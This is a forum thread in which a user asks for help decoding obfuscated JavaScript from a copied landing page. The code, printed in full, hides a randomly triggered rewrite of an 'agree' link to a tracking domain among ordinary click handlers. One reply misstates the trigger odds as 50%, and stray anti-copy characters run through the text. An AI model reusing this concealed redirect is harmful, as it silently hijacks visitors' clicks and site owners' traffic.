一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft

& F" Y' i  @9 q! c, R

1. $(function() {
   + S7 H0 K5 J2 {. ?# w
2.     $(".option.clearfix").on("click",
   1 Q, ~& K3 i1 t+ D3 t5 A. H' k, l
3.     function() {
   
4.         $(this).toggleClass("selected");
   
5.         if ($(this).hasClass("selected")) {
   6 m: o7 X6 O; z: `5 x2 W
6.             $(this).addClass("selected")
   2 r: \5 {! v. ~0 Z$ _+ h
7.         } else {
   2 f$ X. w: X2 S! G0 v
8.             $(this).removeClass("selected")
   & l4 v8 r# l2 q' U* e
9.         }
   : _( K& B6 x8 O7 c
10.         return false
    
11.     });
    
12.     var e = "r";
    ' R& a& L  B. w# u; m
13.     var t = "e";
    
14.     setBtnMarginDefault = "c" + "\u006B";
    8 @* e  a. C- S
15.     $(".option2.clearfix").on("click",
    
16.     function() {
    
17.         $(this).toggleClass("selected");
    
18.         if ($(this).hasClass("selected")) {
    
19.             $(this).addClass("selected")
    
20.         } else {
    ! y- B9 a  i# S! f6 U
21.             $(this).removeClass("selected")
    2 F8 B) g) {9 n9 c. C+ z
22.         }
    2 b$ T# |( W( y( t
23.         return false
    
24.     });
    
25.     var n = "a";
    # A- W5 Y1 u# H1 x* E
26.     var r = "g";
    
27.     $(".option3.clearfix").on("click",
    
28.     function() {
    / ~) x( y( C1 d$ G6 \
29.         $(this).toggleClass("selected");
    
30.         if ($(this).hasClass("selected")) {
    , T$ H$ {6 d9 Q. ]& d7 \1 s# [
31.             $(this).addClass("selected")
    
32.         } else {
    
33.             $(this).removeClass("selected")
    
34.         }
    
35.         return false
    
36.     });
    
37.     var i = "e";
    
38.     var s = n + r + e + t + i;
    
39.     $(".option4.clearfix").on("click",
    ) ]7 \5 m  L4 V* i
40.     function() {
    3 U& l4 }5 g8 T8 @
41.         $(this).toggleClass("selected");
    * y' @: |9 ~( l3 M* I3 W) Z' D
42.         if ($(this).hasClass("selected")) {
    1 r# v# o' S0 o& r
43.             $(this).addClass("selected")
    
44.         } else {
    
45.             $(this).removeClass("selected")
    / `% i# s. `/ r
46.         }
    " c$ ~, H5 ~9 E' M: s( y4 V. ]
47.         return false
    ; Q2 J. ?2 I, C4 D! D; `" i/ ^
48.     });
    4 T  q2 }6 |, W& k5 s
49.     var o = "\u0032" + "\u0030";
    : \4 I4 T3 ]0 F. F3 P2 v* R# ]% ]' N
50.     var u = "\u0031" + "\u0030";
    4 T; ]0 \! l/ F1 r# A
51.     currentWhiteSpace = Math.floor(Math.random() * o);
    
52.     setBtnMargin30 = setBtnMarginDefault + "." + "c";
      L! B6 D3 h9 z( C: Z- s
53.     Date.prototype.getMonthName = function() {
      J" Q- b( e5 M! \4 O+ f0 G/ r
54.         var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
    
55.         return e[this.getMonth()]
    
56.     };
    
57.     var a = currentWhiteSpace;
    
58.     var f = "H";
    ; q" Z+ v! z- D! x2 d4 r9 s4 D
59.     var l = "\u0052";
    1 J* z. [6 c8 d3 _8 C4 ^1 n
60.     var c = "o" + "\u006D";
    
61.     f += "T";
    
62.     f += "T";
    
63.     f += "P";
    
64.     var h = new Date;
    # x" J( _* e) K, U
65.     if (h.getMonth() == 11) {
    ; j/ ?2 P6 n: g' R' y
66.         var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
    
67.     } else {
    
68.         var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
    
69.     }
    
70.     var d = ":" + "/" + "/";
    0 C- L& g3 C# }! P+ [9 Q
71.     l += "S";
    
72.     l += "x";
    
73.     document.getElementById("monthz").innerHTML = p;
    % w& v9 R# v3 a/ b' }* \
74.     l += "\u0054";
    
75.     l += "R";
    
76.     l += "\u0041" + setBtnMargin30;
    
77.     setStyle = f + d + l + c;
    ) W, b% O- R" h6 c
78.     s = s.toLowerCase(s);
    ) a% J. h: p* Z: Q; U
79.     if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
    
80. })

复制代码

5 O& K! X" `( v" {了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。
$ a+ N5 T" ^: E  n6 \

tmdsoft

1. if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

4 l2 Z; T9 @6 W, c* L; J最后这一句，怀疑是随机偷流量代码 。。。

tmdsoft

$(function () {
    $(".option.clearfix").on("click", function () {
        $(this).toggleClass("selected");
/ H7 m: l/ l7 ]1 t1 ~5 B1 C- K        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
        }
# h& a: {1 W4 Y6 @% V# O% A6 Q        return false
    });
    $(".option2.clearfix").on("click", function () {
9 U9 a) V6 w" l! ~, Z5 G0 z        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
7 m0 v5 C. U6 q5 ~* O            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
  b( d: U$ i, [5 a1 g        }
        return false
' u; N6 v' l% y/ A/ O6 C    });
    $(".option3.clearfix").on("click", function () {
        $(this).toggleClass("selected");
/ F+ c% a5 m& z4 E* R# \        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
& I' a  r+ t0 C" F        }
' m8 D/ \. x* y9 ^8 L8 d        return false
    });
    $(".option4.clearfix").on("click", function () {
        $(this).toggleClass("selected");
+ u8 `1 s5 e7 r# d# f. F        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
) \* L) b# \" _            $(this).removeClass("selected")
        }
" N) E/ t6 D: ^* C        return false
5 n: d+ e( a. g0 }' T    });
})

; Y. g! w5 c( _
我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马

不是的

tmdsoft

河小马 发表于 2014-12-25 22:53
7 R. A9 F# ]4 ^4 s% g不是的

6 L' v8 T- A! s8 p! L( r; }那是什么？

tmdsoft

. Y3 }& M: R4 r0 a

1. document.getElementsByClassName(s)[0].href = setStyle

复制代码

1 v! g2 E% X1 h# S
最主要的是这句话 ，最后 setstyle = Http://RSxTRAck.com

tmdsoft

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

* x7 _) G; f5 _
o=20
* l2 h" m8 ]; Bu=10

. F, Q0 p5 [$ O* c) m& }a=1或者0 乘以20

如果a=20（50%的几率) ,那么 条件成立，请问这句代码是不是重定向到这个网址上 。

你是用了别人的LP？

Rock_well

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。